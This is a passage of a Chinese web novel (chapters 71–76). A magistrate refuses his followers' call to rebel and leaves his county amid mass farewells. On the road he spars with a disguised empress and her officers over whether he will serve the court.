就在他昏昏沉沉,打算记这么睡过去的时候,一道声音,出现在他的耳中。 “怎么了?” “蔡青你们这时发生了什么事情?刚好我这里有点书,你等下拿回去。” 许攸眯起眼,美滋滋线享受小侍女的按摩 服务。 只是他越看这情况约不对劲,最后努力睁开眼。当看到自己眼前的几人,他有种不真切的感觉。 “你们这是要干什么?” 眼前蔡青几人手里端着一个托盘,上面还有个皇冠。 至于他身上的袍子…… 看样子应该刚织出来的样品? 袍子布料很好,金黄色的底衬,上面有一条五爪金龙,气势很是恢弘嚣张。 尤其是那金龙的双眸,更是栩栩如生,一看就是大家出品。 许攸低头仔细查看,愣了半天才回过神,口中直呼,“卧槽!” “你们疯了,还是本老爷睡糊涂了?” 起初他还以为是袍子,正准备裹着袍子,听完蔡青等人汇报,就跑去睡觉。谁知道这根本不是袍子,而是龙袍! 龙袍,那可是皇帝才能穿的! “大人,咱们不能没有你!” “那狗皇帝不管我们死活,是你给了我们第二条命,我们岂能没有你?” “反了吧!我们这些兄弟们,都跟着你,哪怕战死沙场,也无怨无悔!” “对,反了!” 许攸人都懵了,他现在严重怀疑,自己是不是写糊涂了,所以才会出现幻觉。 天冷加个袍子,居然变成了龙袍! “大人,不要在犹豫,反了他!” “对,我们都跟着你,今日就反了!” 晚上来的可不止只有蔡青,还有其他十几名青尧县的管事。 他们异口同声,所有人都在说一句话。 “反了朝廷,自立为王!” “打住!” 众人还在继续吵闹,许攸皱起眉,很是淡定的叫停。 所有人的目光,再次汇聚到他的身上, 面对众人的窥探,许攸没有半点心虚,甚至一点多余的表情都没。 “这种玩笑,以后不许开,知道没有?” “我们是大唐人,那就一辈子都是!” “至于我离开后,所有事情依旧,万万不可懈怠,知道没有?” 众人表情苦涩和悲戚,似乎许攸这么一走,怕是再也回不来。 “那可否让百姓送一送?” 许攸捏住鼻梁,犹豫半天后,他还是点头同意。 第七十一章 离开青尧县 半月时间转瞬即逝,许攸没想到自己这么耽搁,居然耽搁这么长时间。 “大人,要不您再考虑下?” 蔡青还是不死心,虽然龙袍被烧了,但他们还仿制了玉玺,都是一样效果。 许攸嘴角疯狂抽动,他敢保证,只要他开口,他好不容易回到十万的功德,会瞬间爆炸成为负无穷。 “怎么?” “我说的话,现在你们都不愿意听,非得造 反是吧?” 蔡青浑身一颤,嘴唇哆嗦,一个字也不敢说出来。 许攸的目光缓缓挪动,将身边每个人脸上表情都收入眼底。 明明他目光没多少威严,可被他扫过的人,无一不是心头大颤,有的甚至双腿都开始哆嗦。 整个办事厅内的温度,都似乎降了几个点。 “大人,我……我错了!” 扑通! 蔡青膝盖撞到地上,脑袋紧紧贴着地面,身体疯狂抖动。 他显然是害怕极了! 在场众人都跟着许攸不少时间,但凡许攸生气,如果下令惩罚,那就没事,最多被骂几句。 许攸最恐怖的就是那笑眯眯的表情,如果他在生气的时候还在笑,绝对没好下场! “大人,我等知道错了!” “我等绝对不敢再提此事,也不会有造次之心!” 看着跪倒一片的心腹,许攸无奈摇头,他并非是想要训斥,而是这种事情开不得口子。 大唐刚建国没几年,百姓也刚从战乱阴影中走出,整个大唐都处于复苏阶段。 如此时候,青尧县要造 反,大概率是成功的。 “我并非是想要恐吓你们,咱们不是为了谁当皇帝,而是为了百姓!” “看看咱们厅堂内的锦旗,看看你们身上的衣服,这都是百姓一针一线织的。” “他们将我们当做依靠,我们和他们同心协力发展县城,为的是让更多人生活更好!” “此前我教给你们的知识,那都是种子,你们要创建一个时代,知道了吗?” 许攸目光森寒,他能做的就这么多,他不是神,做不到凭空造出内燃机,造不出火箭大炮,也做不出电脑这些。 他能做到的就是打好基础,将化学、自然、生物以及物理数学等知识留下,让蔡青等人可以缩短发展时间。 “蔡青,我知道你的心思,但我只希望,这是最后一次听到,明白了吗?” 蔡青抬起头,双眼被泪水打湿。 “大人,我……” 他话说到一半,却再也说不出来。 许攸的眼神中,有慈爱,有信任,但更多的是对于兄弟的依赖! “好好活着,有生之年你若是能造出内燃机,或许我们也能飞天遁地!” 许攸伸手拍拍蔡青肩头,而后将他从地上扶起。 再次环视了众人,他有一种即将飞升的喜悦。 “我走了!” “恭送,许大人!” 蔡青等人起身,恭敬的站成一排。 从办事厅到街道上,办事员和各个部门负责人,全部起身,默默注视着许攸离开。 …… 办事厅外,一支由三十人护卫的车队,早已在这里等候多时。 秦曦和李牧两人,正站在马车一侧,车内的小公主双手托着下巴,水汪汪大眼睛,不停看向四周。 很快他们就看到,许攸的身影缓缓走出。 “许大人,本宫还以为,你舍不得这里!” 秦曦看到许攸身影,心中巨石落地,自从半月前许攸说要一段时间处理事情,她就没离开过青尧县,今天终于等到了。 那张俏脸上,没有任何表情,似乎只是简单的问候。 许攸翻了个白眼,虽然他对秦曦很动心,可事关他能否回去,这段感情还是挪后再说。 “各位,不用送了,各自回去,不要耽误事情。” 说完后,他朝秦曦方向看来,懒洋洋的拱拱手。 “公主殿下,启程吧!” 秦曦指着身后的马车,表情玩味的道。 “许大人,本宫给你准备了车架,上车吧!” “多谢殿下,不过我还是喜欢坐自己的车,我有自己的马车。” 说完,他朝着一辆车马车走去。 马车从外表上看去,就和普通马车没多少区别,但车架很小,不是普通双马拉着的车,只有一匹马,另外还有两匹马备用。 秦曦眉头微皱,之前许攸出门都是牛车,她都没看到过这辆马车。 虽然只是单马拉车,但是没任何的区别。只要许攸能随她去长安,那一切都在她掌控中。 眼看许攸上车后,胭脂也跟着他上车,秦曦眉头再次皱起,但这次她依旧没说什么。 几人都上了马车,随着车夫甩动马鞭,马车缓缓向着城外走去。 走了百米,秦曦突然掀开车帘看向外面。 “舅舅,你看看这外面,好像不对劲!” 李牧也看向车外,往日人山人海的街道,今日却似乎没人,连行人都看不到一个,家家户户都大门紧闭。 如此奇怪的情况,让他第一时间,就意识到肯定是出了大事。 “陛下,难不成是今日有什么节日?” 李牧也不确定,如今距离秋收还差不少 时日,往日他们出门,每天街道上都是人满为患,今天一个人没有,情况很是反常。 车队速度逐渐减缓,秦曦表情狐疑不定,左手一直捏着车帘。 一直到城门口,人影才逐渐出现。 秦曦悬着的心,逐渐落回谷底,不过很快又她的表情僵住,一双凤眸之中,尽是不敢相信。 车队在城门口停下,车夫也瞪大双眼。 眼前从城门口,一直到城外,满眼全都是人。所有人都站在官道两侧,似乎早已等待在此。 人群中有身穿襦袍,拿着琴或者书的书生学子。 有背着锄头,拿着簸箕的农夫。 有满头华发,手里拿着算盘的店铺掌柜。 更多的是年轻男女,他们都垫着脚,安静站在人群中。 人群黑漆漆一片,给人一种恐怖的感觉。 所有人都看向车队,准确的说,看向车队最后的小马车。 在他们的眼中,威风凛凛的墨麟军,公主的车架,都不及那最普通的马车。 这些人眼中,没有惧怕,没有仇恨,有的只是不舍。 秦曦深吸一口气,她被眼前骇然景象,彻底吓懵,久久没回过神。 第七十二章 万人相送的国贼 车队突然停下,许攸也察觉到什么,掀开马车车帘,城门口的景象,也让他一呆。 一张张熟悉的脸,出现在他面前,那脸上的不舍,就如同把刀子,在他心头不断割动。 五年时间,他和这些百姓同生共死,这些百姓不但是青尧县一份子,还是他的家人! “我真的做错了吗?” 许攸扪心自问,他为的是回去,回去自己的世界,所以这一切在他看来,这是利索当然。 在地府的时间,他学习很多,也见惯了生死,可如今这一幕,在他的眼前,却不断冲击着他神经。 他从未想过,自己所做的一切,青尧县的百姓都记着,甚至他们会在关键时刻,主动站出来! 就在这诡异的寂静中,城门口突然响起了琴声。 这是许攸最喜欢的《十面埋伏》! 古筝和琴的声音在不断交织,琴声萧瑟凄凉,古筝声急促,如同雨点不断砸在众人心头。 “许大人,一路走好!” 一道沙哑的声音突然响起。 城门口的百姓,身形如同潮水,一道接着一道,齐刷刷的跪倒下去。 在青尧县不流行跪拜礼,许攸也曾三番五令说过此事,他所树立的自信和自尊,所有人都记者。 “许大人,一路走好!” 声音震天,天空中的云雾,直接被撕开,犹如一把利剑,直插天际。 秦曦捏着车帘的手,微微发颤。 此刻她的脸色发白,耳畔心跳如同擂鼓,让她震撼不已。 震撼感消失之后,就是一股冲天的恨! 她是谁? 她可是大唐的皇帝,执掌千万人的生死,可是眼前的这些大唐百姓,居然连正眼都不看她一眼。 也不是所有人不正眼看她,看她的人双眼充斥着愤怒,那样子似乎是她才是恶人。 反观这些百姓看许攸的表情,那就如同见到了神。 区区一个县令,通敌叛国,私开互市,私自屯兵,拥兵自重,还敢愚弄百姓! “此獠!该死!” 秦曦眯起眼,扭头看向车后的马车,哪怕是隔着车板,她眼底的杀意,依旧隐藏不住。 就在她恨意和杀意冲天时,许攸已经反应过来,双眼猩红一片,从马车上跌跌撞撞走下来。 “卢祭酒,您老这不是折煞我?您老亲自抚琴,为我送行,可跪不得!” “将老您是武将出声,身子骨早年就受到重伤留下暗疾,不可跪!” “兰婶,你说你跪什么,快起来!” “大家都快起来!” 许攸手忙脚乱,无论他扶哪一个,都没人愿意起来。 他的动作,反而让这些百姓内心积压的情感,在这里全部爆发。 “小许,你不能走!大家不能没有你!” “许大人,你走了,咱们怎么办?当初大家详细你,愿意追随你,你现在走了,我们怎么办?” “大人,您可千万不能走,我爹娘还在家里等着您过去吃鸡。” 无数人开始悲呼,哀求声连成一浪接一浪。 整个城门口,跪了不止五万人,就连守城的士兵,都跪在地上。 这些铁打的男人,面对敌人刀兵,没有流泪,如今却哭成了泪人。 所有人都知道,青尧县的主心骨,从来只有一人,也只有那人存在,青尧县才真正的是个活城。 秦曦呆呆看着眼前的一切,此刻的她内心不知道如何描述,内心五味杂陈。 民意,是个很玄妙的东西。 她自从登基以来,听到过不少诸如此类的话,说什么“民心所向”。 至于民意和民心是什么,她从未懂。 “陛下,这就是民心!” “得民心者得天下,这五年时间,许攸给青尧县做了太多!” 李牧感慨万千,他也看到了城外的百姓。 他完全可以确定,只要许攸振臂高呼一声,眼前这些百姓,会心甘情愿的和他一起称王。 许攸从未想到,自己有朝一日,会被感动。 看着眼前的百姓,他有点后悔,后悔自己在这个时候凑足了功德。 去长安城送死,然后回到地府,飞升到原来世界。 这是他之前就设定好的路线,一旦计划成功,他就会成为真正的仙人! 但这一刻,他开始犹豫! “各位乡亲父老,容我说一句!” “此次我入京,咱们青尧县位置特殊,如今发展虽然好,可毕竟比较偏僻,吸引不到更多的人。” “本老爷此次入京,一来是和陛下述职,将青尧县这几年情况汇报,争取弄点特权。” “二来,本老爷打算弄点人手,好继续发展青尧县,大家不用伤心,我还会回来的。” 许攸嘴角苦涩,他难以舍弃这些百姓,但也忘记不了自己的家人。 所有人都抬起头,包括秦曦等人都凝眉看向他。 “大家都放心,我会回来的!” 这话说的很没底气,但他不得不咬着牙说出来。 终于,在他劝说下,人群逐渐不再是跪着,只是依旧站在原地,打算目送他们离开。 眼看如此,许攸也没办法,只能硬着头皮来到秦曦的车架前。 “殿下,让你见笑了,都是些刁 民!” “咱们现在就可以走!” 秦曦没说话,只是将手中车帘放下。 车夫挥动马鞭,马车再次往前走,给许攸碰了一鼻子的灰。 自讨个没趣后,许攸脸色发黑,也缓步来到了自己的马车,费力爬上车后,他冲着这些百姓挥手。 “哎,兄弟们,如果有来生,咱们再见。” 至于回来的可能性,几乎为零。 实际上不仅他知道此行回不来,青尧县上下都基本上都知道。 车队离开城门,人影开始缓缓动作。 送行的人很多,大家都默默的跟在车后面,没有任何的言语,就这么紧紧的跟着。 早就得到消息,打算护送秦曦的蒙武,在接到消息后,皱着眉看向眼前的车队。 “将军,他们……” 蒙武没敢动,在车队外面,十万城卫军,以及六万执法队,正全副武装,默默跟在百姓身后。 但凡墨麟军有任何异动,今日墨麟军包括他蒙武在内,都要被射成筛子! “让开车道,不要惊扰百姓!” 车队缓缓向前,走的很慢,走了一里路,许攸无奈只能叫停车队。 “各位回去吧!青尧县没有我,还是青尧县,你们还要生活!” “送到这里,就够了!” 第七十三章 国贼不喜欢女人 一连十日时间,秦曦在车内坐的屁股都疼了,却没见到后面那辆马车有什么异状。 要不是许攸每天会准点来问好,她都怀疑这个国贼,是不是半路溜了。 这几日她一直都在观察许攸,结果让她很失望。 十天时间内,许攸和出来郊游差不多,开始两天还有点不开心,之后就彻底放飞自我。 秦曦都有点看不懂,明明以许攸的罪名,到了长安城是必死无疑的那种,可对方完全不担心。 “舅舅,难不成是许攸看穿了我的身份?” 李牧摇头,他也是见多识广,但如此奇特的青年,他从未见过。 以许攸在青尧县展现出来的能力,可以说天下之大,必定有他一席之地。 如此心高志傲的天骄,为何会愿意当阶下囚呢? “陛下,怕是此人手中有底牌,不仅仅是青尧县和康王如此简单!” 李牧想了想,还是没想明白,他实在太想知道,许攸到底有什么本事。 “不如我等试探下,看看他有何底细?” “朕也是如此想的!” 两人一拍即合,如今他们已经离开荆州,再也不用担心会被康王带人奇袭。 秦曦看了眼舆图,指向不远处的山坳冲蒙武吩咐。 “蒙将军,今日就在此安营,明日一早再出发。” “喏!” 蒙武立刻安排,上千墨麟军开始动作,扎营的扎营,负责放哨的放哨。 一座营地很快形成,许攸和胭脂也架着马车,缓缓进入到营地内。 整个营地内防卫森严,十步一哨,百步一岗,岗哨之间互相防备,显然都是军中的精锐。 营地内最大的帐篷,就是许攸此行目的。 “老爷,这公主好大的架子。” 胭脂这些天坐在车里,也憋得慌,刚下地就开始抱怨。 许攸眉头也紧紧皱起,他喜欢秦曦不错,但这种架势他可不喜欢。 来到营帐门口,他正打算和往日一样,钻进去先问好,然后再回到自己的营帐。 可今天却让他很意外。 “许大人,您只可一人进入!” “我一个人?” 许攸直指自己,下意识看向身边的胭脂。 胭脂是他从强盗窝里抢来的,刚来的时候,胭脂都不敢说话,跟在他身边好几年,才逐渐张开也恢复了活泼。 在他内心深处,胭脂就是他的亲人。 “她是我的侍女,也是我的家人,之前都可以进去问安,为什么今天不可?” 侍卫板着脸,反正左右就一句话。 要么许攸自己进去,要么就滚。 许攸陷入沉默,深深的看了眼侍卫,又看向帐篷。 “老爷,妾身就在这里等这你。” 胭脂很懂事,说完这句话后,她就打算站在门边等许攸。 可那侍卫再次冷着脸,一脸嫌弃的模样。 “此地乃军营重地,闲杂人等不可进入,你还不滚出去!” 许攸被逗乐了! “军营重地?” “闲杂人等?” 他又不是什么傻子,之前十天虽然不是每天扎营,但他每次都带着胭脂过去问好。 偏偏今天不行,还直言这里是军营重地。 “公主殿下,此乃军营重地,下官乃青尧县县令,属实不应该进入此地!” “下官这就回马车!” 许攸冷笑一声,把他当傻子耍? 他倒要看看,到底谁是傻子! 营地内陷入死寂,刚才说话的那侍卫,显然没想到,许攸会如此刚。 “许大人你什么意思?” 侍卫阴沉着脸,眼角的阴郁和仇视,以肉眼可见的暴涨。 许攸抬头不屑瞥了他一眼。 “我记得你,你叫蒙逊是不是?蒙武的儿子?” 蒙逊眼底也露出冷光,他可不是蒙武,少年心性,更看不惯许攸这种逍遥自大的做派。 此前在荆州地界,墨麟军上下都被压制着,到了荆州外,他们獠牙全部浮现。 看到许攸这无能狂怒的模样,蒙逊嘴角勾起。 “殿下也是你能见的?” “滚!” 许攸呵呵一笑,扭头牵住胭脂的手,连看都没看蒙逊一眼。 此刻帐篷内,秦曦愣在原地,从刚刚她就在帐篷内窥探,窥探许攸的一举一动。 在她想来,许攸如今是被她软禁,一没青尧县的城卫军,二没康王帮助,许攸应该忌惮才对。 面对蒙逊的刁难,许攸玩去哪不像是怕是的人。 “陛下!你怎么可如此!” 李牧得到消息,听到许攸居然架着马车离开了营地,当即大惊失色。 他快步从自己营帐,冲到了秦曦的营帐中。 “舅舅,朕怎么了?” “糊涂啊!糊涂!” 李牧大为着急,他万万没想到,秦曦会这么简单粗暴的试探,这样反而搞错了方向,以及激怒了许攸。 如今他们在明,许攸在暗,要招揽许攸,可不能如此! “陛下,你糊涂!” “许攸乃大才,当世大才!有辅佐陛下之才!” “此等卧龙,若是利用得当,就是辅国的中流砥柱,若是激怒,只怕会破势他起事!” 李牧可不糊涂,他分析了很多,这才想到许攸底牌是什么。 青尧县将近二十万大军,一旦知道许攸死讯,或者知道被囚禁,到时候必然会举兵! 以大唐如今的实力,别说抵挡,就是想在二十万大军面前坚持,都做不到几日。 秦曦这一道密令,把大唐的国运,当成了赌注! 经过李牧一番分析,秦曦俏脸煞白。 “他!国贼!无耻!” 秦曦忍不住破口大骂! 她从未想过这些,毕竟她登基才三年,而且对于这些事情,根本没多考虑。 这下可好了,惹怒了许攸,不但得不到许攸的心,还逼的对方举旗。 “舅舅,那……那我怎么办?” “朕九五之尊,总不能和他个国贼,去道歉吧?” 李牧叹了口气,让天子道歉,那必然不可能。 可要是不道歉,许攸要是使性子。 “要不,朕给他送几个美女,再送点珍宝?” “就让蒙逊送过去,让他道个歉?” 李牧认真的想了想,他响起在青尧县的听闻,脸色变得很古怪。 “陛下,那许攸可能……不喜欢女人!” “什么?” 秦曦差点没被这话给吓死。 “许攸不喜欢女人?那他喜欢什么?” “好像是人妻?” 李牧也不确定,语气也变得古怪。 两人对视一眼,都陷入了沉思之中。 似乎许攸不但没妻妾,连侍女都只有四人,说喜好人妻,也未尝不对! 第七十四章 欺负许县令无能 帐篷中的气氛很严肃,秦曦脑袋发蒙,之前她没考虑过这些,现在想起来,不由生出一身鸡皮疙瘩。 “舅舅,你说的不会是真的吧?” 李牧没说话,昏黄大眼睛盯着手里的奏疏,那意思很明显。 秦曦嘴角疯狂抽动,难怪许攸对她示好,从没太多的表示,原来是因为她不是人妻。 “等等!” “朕如今是云安公主,那朕……” 李牧也愣住,上下打量了眼秦曦,视线立刻开始飘忽。 两人视线在半空中对上,都从彼此眼底,看到了一个大胆的可能! 刚还觉得自己没魅力的秦曦,立刻和炸毛的母狮子般,玉手重重拍在桌上! “放肆!” “陛下息怒,还是先平息此事,否则容易留下祸患!” 这话一出,秦曦酝酿的情绪,全部被压了回去。 “传朕的旨意,招蒙武将军来此议事!” 帐篷内发生什么,许攸并不知道,即便是知道,他也不会有太多的担心。 日头西斜,他正带着胭脂在小溪边捞鱼,远处一行人急匆匆朝着他走来。 “许攸,陛……殿下召你,还不速速回营地?” 蒙逊依旧是那高傲模样,哪怕接到命令,让他过来赔礼道歉,他依旧没正眼看许攸。 许攸权当没听到,卷起裤腿,双手搬开一块石头,里面有两只螃蟹受惊,从里面爬出来。 “胭脂快罩住!” “是,老爷!” 两人一前一后,螃蟹根本躲不掉,被竹篓罩住后,快速被抓进到旁边的木盆中。 如此往复几次后,蒙逊心中怒气不断上涨。 嘭! 在许攸再次将螃蟹放到木盆中,一只脚直接踹过来,将木盆踹翻。 “老爷。” 胭脂惊呼一声,一双水濛濛的大眼睛,里面充满委屈色彩。 “没事没事,几只螃蟹而已,就当被狗吃了,咱们晚上吃馒头和烤鱼。” 许攸笑呵呵抱住她,将其给挡在身后。 见许攸还是这模样,蒙逊气不打一处来。 “许攸!” “你别敬酒不吃吃罚酒,本将亲自过来寻你,你装聋作哑要做什么?” 蒙逊那叫个火大,傍晚刚被训斥一顿,再加上这段时间心中压抑的耻辱感,让他在这一刻全部爆发。 只见到他左手拇指抵住刀鞘,右手快速抽动长刀,刀锋直指许攸的脖颈。 场面变得僵持,许攸双眼眯起但脸上依旧带着笑容,熟悉他的人都知道,他已经陷入到暴怒之中。 “蒙将军,你最好给胭脂道歉,否则的话,我不保证你接下来能否活!” “笑话!” 没了青尧县那群城卫军的压制,身为墨麟军的副统领,蒙逊现在根本不把许攸放在眼底。 此次许攸出行,也没带护卫,只有一名车夫,外加侍女胭脂跟随。 “今日本将军倒要看看,你能把本将军如何!” 蒙逊说完,手中的长刀往前戳,大有要将许攸给就地格杀。 就在他刀锋即将靠近许攸脖颈,一声急促的长啸猛地响起! 墨麟军扎营的地点选的很好,是个山坳,附近有溪流,两侧有低矮树林。退可据地而守,进可阻挡大股敌军冲锋。 在树林中墨麟军同样战力受限,不过这里不是青尧县,他们哪怕下马,也是无敌的存在。 蒙逊嘴角噙着笑,正要开口,只觉得眼前闪烁起白光,随后手腕传来剧痛。 夕阳西斜,许攸背着手,幽幽走在回程的路上,至于蒙逊已经被架在木棍上,四肢攒在一起,形似待宰野猪。 秦曦看到这一幕,人都有点懵,半天没回过神。 “许大人,这是何意?” 李牧人老成精,知道许攸性格不是那种喜好惹事的,再看他身后那沉默不言的四人,眉梢紧紧皱起。 许攸拱手,站在距离营地门口还有五米位置,让人将蒙逊丢下。 “敢问李相,行刺朝廷命官,这是何罪?” “行刺朝廷命官?” 李牧一时间没反应过来,疑惑的看向许攸。 许攸也不隐瞒,就把自己要入营帐请安的事情道出,还有被蒙逊羞辱,最后跑去溪边抓鱼做晚饭,又再次被威胁,甚至蒙逊还要杀他。 听完他所言,李牧老脸黑的和锅底差不多。 朝廷上的争斗,他其实一直知道,如今很多人看不惯天子,是他在镇压这些人,可早晚有一天会压不住。 如今蒙武纵容蒙逊放肆,就是在挑衅天子,挑衅他! 李牧没直接发作,而是拱手弯腰,笑呵呵赔礼道歉。 “许大人见笑,按照朝廷律法,胆敢行刺朝廷命官,应以杀人罪论处!” “此乃墨麟军副统领,或许有什么误会,此事不如交由殿下处置,如何?” 许攸点头没说话,余光之中的蒙逊,得意的仰起头。 蒙氏一脉为大唐建国,立下不少功劳,如今蒙武更是执掌十万大军,在武将中的名望远超李牧。 文武不对付,也不是一日的事情,蒙逊根本不怕,也不相信天子会下令,真把他杀了! 李牧幽幽转身,看向身侧的秦曦。 “殿下,不知道你打算如何处理?” 空地中陷入死寂。 只有风声掠过,偶尔带动树叶,发出几声沙沙声。 最终还是秦曦,打破这片死寂的氛围。 “许攸。” 她的声音不高,却带着一种至高无上的威严气息。 “你可知道,你此行将面对什么吗?” 秦曦内心很好奇。 “知道,天子想杀我。” 许攸表情依旧带着笑,话语没有半点波澜,甚至没有半点情绪波动。 这话一出,秦曦的表情变得复杂。 “下官私自调兵剿匪,不尊兵部,罪当叛国!” “私开矿山,不上报六部,贿赂州道官员,动摇国家根本。” “下官还私开互市,募集十万士卒,私铸兵甲,形同谋逆!” “此等重重,放在朝堂上,每一笔都是罪无可恕,当株连九族!” 许攸每说一句,蒙逊的嘴巴就张大一分。 秦曦、李牧以及蒙武,此刻都是满脸冰寒,双眼死死盯着许攸,尤其是蒙武,手心冒汗,右手握住刀柄,喉结不断上下滚动。 “下官罪该万死,不过……” “殿下却想要招揽下官,这是何意?” 许攸的嘴角上翘,那双清澈的眸子中,浮现出淡淡的笑意。 轰隆! 天空划过一条雷龙,大雨即将来临! 第七十五章 来自公主的表白 秦曦表情复杂,她没想到许攸如此的聪明。 “没错!” “本宫确实是想招揽你,你能在五年时间内,将一个三千人的小县,发展到堪比长安的城池,此功不可无视!” “青尧县种种,本宫看在眼底,百姓们安居乐业,本宫有惜才之心!” 蒙武的表情大变,他从秦曦的话中,听出了淡淡的杀意。 秦曦不是什么软弱的女子,而是从血和死人堆中,一步步爬出来,能让她心服口服的,朝中只有三人! 云安公主,李牧以及康王! 许攸只不过是个小县令,在朝堂内甚至排不上号,如今却成了天子口中的大才! 一丝不妙的感觉,浮现在蒙武的心头。 秦曦收拾了下自己的心绪,重新看向许攸,眼底带着欣赏以及……施舍。 “本宫想要举荐你!” “你只要和陛下主动认错,交出一切,本宫愿意举荐你,让你留在长安任职!” “许攸,你觉得如何?” 蒙武身体颤抖,这话不亚于惊雷劈在他身上。 再看他来,即便是许攸有能力,但那些罪是事实,到了长安城后,就是许攸的死期。 在回到长安之前,他要利用蒙逊的手,将许攸给整个半死不活,以发泄他心头之恨。 秦曦的话,却让他心彻底悬起。 在秦曦看来,自己以云安公主的身份作保,许攸肯定会激动,甚至会主动跪下,对她感激涕零。 可她却没想过,许攸能在五年内,将三千人队伍拉扯到几十万人,靠的不仅仅是魄力,还有能力! 许攸原本满脸的笑容,在听到这话后,变得怪异。有错愕,有惊讶,还有更多的是无奈。 “殿下的心意,下官受之有愧!” “下官自知罪责难逃,所以在来之前,已经安排好了一切,是带着必死之心跟随殿下回长安。” “到了长安后,陛下圣旨下达,下官自会引颈自戮,不用陛下亲自动手!” “谢谢殿下好意!” 秦曦:??? 她是真懵了,表情凝固在俏脸上,那张精致的俏脸上肌肉抖动,脸皮在不停颤抖。 李牧也愣在原地,他虽觉得天子的话有些不合时宜,但现在是和许攸表露最好机会。 至于蒙武,已经张大嘴,根本说不出话。 几人表情各异,秦曦内心心绪翻腾。 “这许攸脑子被门夹了?” “朕拿真心换真心,他居然不领情!” “难不成这天下,真有不怕死的人?” 秦曦脸色变得很难看,她感觉自己被羞辱了,还是当着李牧以及十多名士兵的面,被个县令给羞辱。 “你的意思,是本宫不配?” 她的声音很低沉,压抑的声音充斥着杀意。 许攸自然是听得出来,他也没打算挑战秦曦的威严。 从计划开始,他就打算带着胭脂一起走,胭脂天生心脏不好,按照大唐的医疗条件,最多能活到三十岁。 与其最终病死,倒不如和他一起,至于能否一同回到原来世界,他也就这件事,仔细分析过。 当初阎王说,开启一次轮回,需要十万点功德,这些年他至少有五十万功德,不但够他成仙,还能帮一个人开启轮回。 要是这趟机会被耽搁,他不敢去想象,自己看着胭脂痛苦病死,那会有多痛苦。 “下官罪无可恕,唯有以死才能洗刷下官的罪孽!” “殿下乃千金之躯,不应该和下官同流合污,也不应该为了下官,和陛下生出间隙。” “下官不值得殿下如此,还请殿下收回成命!” 这番话说的情深意切,似乎许攸就应该死,还是罪无可恕的那种。 可如今的秦曦,根本听不清其他的言论,她脑海已经被愤怒填满。 “死!死!死!” “许攸,你就当真想死?” 许攸眨巴下眼睛,没有回答,那表情已经充分说明。 看到他的表情,秦曦只觉得一股邪火,从心口直冲脑门。 噌! 秦曦扭头转身,从附近一名侍卫手里,将佩刀抽出,架在许攸的脖子上。 “你不是想死吗?” “本宫成全你!” 许攸在她拔刀的瞬间,就拉着胭脂,退到四名护卫的身后。 他想死,想死在天子的圣旨令谕下,而不是死在什么阿猫阿狗手里。 他的命,可是很珍贵的! 秦曦是被气笑了,她突然发现,自己有点奈何不了许攸。 就许攸身边四名高手,就比她的玄影更加厉害。 杀是杀不成,她还是打算用真心,感化眼前这个“国贼”! “你在青尧县所作所为,目的不就是为了百姓吗?” “本宫给你平台,帮你牵线搭桥,若是天下能多几个青尧县,我大唐何愁不强,何愁不富?” “你只想求死,为何不等天下富裕,百姓过上好日子,再想着功成身退?” “本宫可以帮你!” 说到这里,秦曦咬咬牙,俏脸上浮现出一抹绯红。 “你若是想娶本宫,那就拿出点真本事,若是只想求死,本宫可不会看上你。” 许攸倏地一下,把脑袋给直起。 他刚听到了什么? 公主这是和他告白? 可他是真的想死,而不是想娶公主! 许攸现在有点慌,他发现眼前的云安公主表情,不像是在开玩笑。 要是云安公主真的用姐妹情,为他求情,那说不定他真的不会死。 “这娘们千万别乱说,不然我可是要炸的!” “不行,这绝对不行!” 许攸表情开始变化,他脸上第一次,浮现出了担心。 “殿下,多谢!” “只是……这真的不合适,下官心领了!” 他的话语中没有掩饰,只有深深的担心,以及后怕! 秦曦愣在原地,她都主动拉下脸,结果许攸却是这种语气,这让她如何不怒? 她可是堂堂天子,大唐的皇帝! “殿下,我家老爷太苦了!” “还请殿下饶了我家老爷,若是你真的想让我家老爷入朝为官,可用其他说辞,至于再造个青尧县,万万不可再提!” 胭脂胆子也很大,说着这话的同时,眼眶也微微发红,泪花在眼眶内不断打旋。 “老爷他太苦,他不应该如此!” “请殿下收回成命!” 第七十六章 狗皇帝不配我效忠 “为何?” 秦曦想不到,许攸为什么会有如此多的借口。 至于胭脂的话,她也并未生气,而是抱着手臂,试图从胭脂话语中,找出个破绽。 胭脂没那么多心机,她很心疼许攸。 “殿下,前两年青尧县刚开始建城,老爷没事寅时起床,开始带头搬砖砌墙,到了午时还得处理政务,下午又要视察各地,帮百姓处理各种杂事。” “第三年城虽建城,但各种麻烦层出不穷,老爷睡得更少,每日就是想让县城内多几两碎银,让那些流民能有个遮风避雨的好去处。” “老爷他才二十多,却好几次咳血昏死在城中工地上,是百姓抬着他回去……” “殿下,胭脂不求殿下能宽恕老爷,只求您别让他继续为官,他太苦,太累了。” 秦曦闻言仔细打量,愕然发现,许攸的鬓角两侧,都已经花白。 二十多岁的青年,两鬓花白,心态以及处事的能力,更不像是同龄人。 如今一切都说得通,为何青尧县会上下一心,百姓会十里相送,会舍不得许攸离开。 如此设身处地为百姓考虑,事事身先士卒,百姓不可能看不到,也不可能不哎。 那份心累和疲惫,哪怕许攸不说,此刻秦曦也能清晰感到。 她继位三年,每日都睡四个时辰,即便是这样,也会觉得疲惫,偶尔还有脾气。 而许攸从未表露过,就仿佛是个机器。 “你……为何不说?” 秦曦嘴角微微发苦,她发现自己似乎想错了,许攸的想法,似乎不是为了求死,而是为了解脱。 他,太累了! 许攸低头苦笑。 “殿下,下官立誓要带着青尧县做大做强,要让百姓们有肉吃,有衣可以穿,可下官什么都没有,只有这幅皮囊。” “苦下官一个人,能让百姓看到希望,那一切都值得。” “下官是个小官,不会当官,也不喜欢当官,还请殿下收回成命,不要劝说陛下,也不要举荐。” 在许攸的口中,朝堂就似乎是个泥潭,虽然事实确实如此,但这么直言,多少有点打脸。 李牧眼皮狂跳,他发现许攸很有意思,如此爱民为民,却不想当官,甚至有点恨。 若不是现在场合,他很想拉着许攸,畅饮几杯。 秦曦此刻心中怒意消散,在看到胭脂跪下,哀求的瞬间,她心中怒火就彻底消失不见,只剩下愧疚。 她感觉自己明白了许攸这么做的目的。 朝堂中的对立,已经不是一天,如今蒙武敢在她眼皮下,刻意针对许攸,一旦许攸到了朝堂上,必然会成为武将公敌。 文臣那边,许攸也讨不到好处,文臣喜好权利,对他们而言,钱、权和名利才是最重要的,偏偏这三者许攸都不在意。 朝中孤立无援,空有她个“云安公主”身份,那又能如何? 到了长安城,她这个公主,也是不攻自破,到了那时候,许攸四面楚歌,根本就躲不掉,必然会成为争斗的祭品。 